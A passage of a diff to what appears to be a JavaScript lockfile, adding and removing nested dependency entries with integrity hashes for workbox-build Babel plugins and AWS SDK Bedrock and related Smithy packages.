+ "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-zHsy9iXX2nIsCBFPud3jKn1IRPWg3Ing1qOZgeKV39m1ZgIdpJqvlWVeiHBZC6ITRG0MfskhYe9cLgntfSFPIg=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.22.5", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.5", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-YJ3xKqtJMAT5/TIZnpAR3I+K+WaDowYbN3xyxI8zxx/Gsypwf9B9h0VB+1Nh6ACAAPRS5NSRje0uVv5i79HYGQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jHE9EVVqHKAQx+VePv5LLGHjmHSJR76vawFPTdlxR/LVJPfOEGxREQwQfjuZEOPTwG92X3LINSh3M40Rv4zpVA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-numeric-separator": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-mps6auzgwjRrwKEZA05cOwuDc9FAzoyFS4ZsG/8F43bTLf/TgkJg7QXOrPO1JO599iA3qgK9MXdMGOEC8O1h6Q=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.23.4", "", { "dependencies": { "@babel/compat-data": "^7.23.3", "@babel/helper-compilation-targets": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", "@babel/plugin-transform-parameters": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9x9K1YyeQVw0iOXJlIzwm8ltobIIv7j2iLyP2jIhEbqPRQ7ScNgwQufU2I0Gq11VjyG4gI4yMXt2VFags+1N3g=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BwQ8q0x2JG+3lxCVFohg+KbQM7plfpBwThdW9A6TMtWwLsbDA01Ek2Zb/AgDN39BiZsExm4qrXxjk+P1/fzGrA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-XIq8t0rJPHf6Wvmbn9nFxU6ao4c7WhghTR5WyV8SrJfUFzyxhCm4nhC+iAp3HFhbAKLfYpgzhJ6t4XCtVwqO5A=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/plugin-syntax-optional-chaining": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ZU8y5zWOfjM5vZ+asjgAPwDaBjJzgufjES89Rs4Lpq63O300R/kOz30WCLo6BxxX6QVEilwSlpClnG5cZaikTA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-09lMt6UsUb3/34BbECKVbVwrT9bO6lILWln237z7sLaWnMsTi7Yc9fhX5DLpkJzAGfaReXI22wP41SZmnAA3Vw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.23.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UzqRcRtWsDMTLrRWFvUBDwmw06tCQH9Rl1uAjfh6ijMSmGYQ+fpdB+cnqRC8EMh5tuuxSv0/TejGL+7vyj+50g=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.23.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-private-property-in-object": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9G3K1YqTq3F4Vt88Djx1UZ79PDyj+yKRnUy7cZGSMe+a7jkwD259uKKuUzQlPkGam7R+8RJwh5z4xO27fA1o2A=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jR3Jn3y7cZp4oEWPFAlRsSWjxKe4PZILGBSd4nis1TsC5qeSpb+nrtihJuDhNI7QHiVbUaiXa0X2RZY3/TI6Nw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "regenerator-transform": "^0.15.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KP+75h0KghBMcVpuKisx3XTu9Ncut8Q8TuvGO4IhY+9D5DFEckQefOuIsB/gQ2tG71lCke4NMrtIPS8pOj18BQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-QnNTazY54YqgGxwIexMZva9gqbPa15t/x9VS+0fsEFWplwVpXYZivtgl43Z1vMpc1bdPP2PP8siFeVcnFvA3Cg=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ED2fgqZLmexWiN+YNFX26fx4gh5qHDhn1O2gvEhreLW2iI63Sqm4llRLCXALKrCnbN4Jy0VcMQZl/SAzqug/jg=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-VvfVYlrlBVu+77xVTOAoxQ6mZbnIq5FM0aGBSFEcIh03qHf+zNqA4DC/3XMUozTg7bZV3e3mZQ0i13VB6v5yUg=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-HZOyN9g+rtvnOU3Yh7kSxXrKbzgrm5X4GncPY1QOquu7epga5MxKHVpYu2hvQnry/H+JjckSYRb93iNfsioAGg=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Flok06AYNp7GV2oJPZZcP9vZdszev6vPBkHLwxwSpaIqx75wn6mUd3UFWsSsA0l8nXAKkyCmL/sR02m8RYGeHg=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-4t15ViVnaFdrPC74be1gXBSMzXk3B4Us9lP7uLRQHTFpV5Dvt33pn+2MyyNxmN3VTTm3oTrZVMUmuw3oBnQ2oQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OMCUx/bU6ChE3r4+ZdylEqAjaQgHAgipgW8nsCfu5pGqDcFytVd91AwRvUJSBZDz0exPGgnjoqhgRYLRjFZc9Q=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KcLIm+pDZkWZQAFJ9pdfmh89EwVfmNovFBcXko8szpBeF8z68kWIPeKlmSOkT9BXJxs2C0uk+5LxoxIv62MROA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wMHpNA4x2cIA32b/ci3AfwNgheiva2W0WUKWTK7vBHBhDKfPsc5cFGNWm69WBqpwd86u1qwZ9PWevKqm1A3yAw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-W7lliA/v9bNR83Qc3q1ip9CQMZ09CcHDbHfbLRDNuAhn1Mvkr1ZNF7hPmztMQvtTGVLJ9m8IZqWsTkXOml8dbw=="],
+
+ "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.8", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.5.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OtIuQfafSzpo/LhnJaykc0R/MMnuLSSVjVYy9mHArIZ9qTCSZ6TpWCuEKZYVoN//t8HqBNScHrOtCrIK5IaGLg=="],
+
+ "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.9.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0", "core-js-compat": "^3.34.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-7nZPG1uzK2Ymhy/NbaOWTg3uibM2BmGASS4vHS4szRZAIR8R6GwA/xAujpdrXU5iyklrimWnLWU+BLF9suPTqg=="],
+
+ "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.5.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OJGYZlhLqBh2DDHeqAxWB1XIvr49CxiJ2gIt61/PU55CQK4Z58OzMqjDe1zwQdQk+rBYsRc+1rJmdajM3gimHg=="],
+
+ "workbox-build/@babel/preset-env/core-js-compat": ["core-js-compat@3.35.1", "", { "dependencies": { "browserslist": "^4.22.2" } }, "sha512-sftHa5qUJY3rs9Zht1WEnmkvXputCyDBczPnr7QDgL8n3qrF3CMXY4VPSYtOLLiOUJcah2WNXREd48iOl6mQIw=="],
"workbox-build/@rollup/plugin-replace/@rollup/pluginutils": ["@rollup/pluginutils@3.1.0", "", { "dependencies": { "@types/estree": "0.0.39", "estree-walker": "^1.0.1", "picomatch": "^2.2.2" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0" } }, "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg=="],
@@ -8229,16 +7723,6 @@
"workbox-build/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
- "workbox-build/glob/foreground-child": ["foreground-child@3.3.1", "", { "dependencies": { "cross-spawn": "^7.0.6", "signal-exit": "^4.0.1" } }, "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw=="],
-
- "workbox-build/glob/jackspeak": ["jackspeak@4.2.3", "", { "dependencies": { "@isaacs/cliui": "^9.0.0" } }, "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg=="],
-
- "workbox-build/glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="],
-
- "workbox-build/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
-
- "workbox-build/glob/path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="],
-
"workbox-build/source-map/whatwg-url": ["whatwg-url@7.1.0", "", { "dependencies": { "lodash.sortby": "^4.7.0", "tr46": "^1.0.1", "webidl-conversions": "^4.0.2" } }, "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg=="],
"wrap-ansi/string-width/emoji-regex": ["emoji-regex@10.4.0", "", {}, "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw=="],
@@ -8251,11 +7735,7 @@
"@aws-crypto/util/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@2.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA=="],
- "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
@@ -8269,26 +7749,28 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
-
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
-
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.948.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-iWjchXy8bIAVBUsKnbfKYXRwhLgRg3EqCQ5FTr3JbR+QR75rZm4ZOYXlvHGztVTmtAZ+PQVA1Y4zO7v7N87C0A=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
"@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
"@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-eFndh1WEK5YMUYvy3lPlVmYY/fZcQE1D8oSf41Id2vCeIkKJXPcYDCZD+4+xViI6b1XSd7tE+s5AmXzz5ilabQ=="],
@@ -8309,11 +7791,7 @@
"@aws-sdk/client-cognito-identity/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
- "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
